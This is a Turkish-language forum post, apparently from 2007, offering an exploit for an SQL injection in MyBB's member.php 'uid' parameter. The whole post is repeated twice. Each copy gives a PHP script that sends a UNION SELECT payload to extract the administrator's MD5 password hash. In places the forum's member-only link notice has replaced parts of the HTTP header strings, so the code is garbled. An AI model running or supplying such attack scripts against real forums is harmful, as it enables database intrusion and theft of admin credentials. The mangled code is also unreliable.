by_casus
04-23-2007, 12:52 AM
MyBB Forum Exploit
Seviye:
Orta
Etki:
SQL Injection
Alan:
Uzak Erişim
Açıklama:
MyBB, php ve mysql ile geliştirilen güçlü bir forum uygulamasıdır. Form verilerinin yetersiz kontrolü sonucu sql komutu çalıştırmak mümkün. "member.php" dosyasının aldığı "uid" yeterince kontrol edilmiyor.
Örnek:
Aşağıdaki kod kullanılarak admin şifresinin MD5 hali ele geçirilebilir.
Code:
<?php
echo 'Pass:' . get_pass('Sitedeki Linkleri Sadece Üyelerimiz Görebilir..', '/mybb', '');
function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");
$query = implode('&', $query);
$header = "POST $path/member.php?action=avatar Sitedeki Linkleri Sadece Üyelerimiz Görebilir..";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-Sitedeki Linkleri Sadece Üyelerimiz Görebilir..";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";
$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);
$html = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$html.= $tmp;
}
fclose($fp);
preg_match('/\: ([a-z0-9]{32})/i', $html, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $html, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}
return $password;
Seviye:
Orta
Etki:
SQL Injection
Alan:
Uzak Erişim
Açıklama:
MyBB, php ve mysql ile geliştirilen güçlü bir forum uygulamasıdır. Form verilerinin yetersiz kontrolü sonucu sql komutu çalıştırmak mümkün. "member.php" dosyasının aldığı "uid" yeterince kontrol edilmiyor.
Örnek:
Aşağıdaki kod kullanılarak admin şifresinin MD5 hali ele geçirilebilir.
Code:
<?php
echo 'Pass:' . get_pass('Sitedeki Linkleri Sadece Üyelerimiz Görebilir..', '/mybb', '');
function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");
$query = implode('&', $query);
$header = "POST $path/member.php?action=avatar Sitedeki Linkleri Sadece Üyelerimiz Görebilir..";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-Sitedeki Linkleri Sadece Üyelerimiz Görebilir..";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";
$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);
$html = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$html.= $tmp;
}
fclose($fp);
preg_match('/\: ([a-z0-9]{32})/i', $html, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $html, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}
return $password;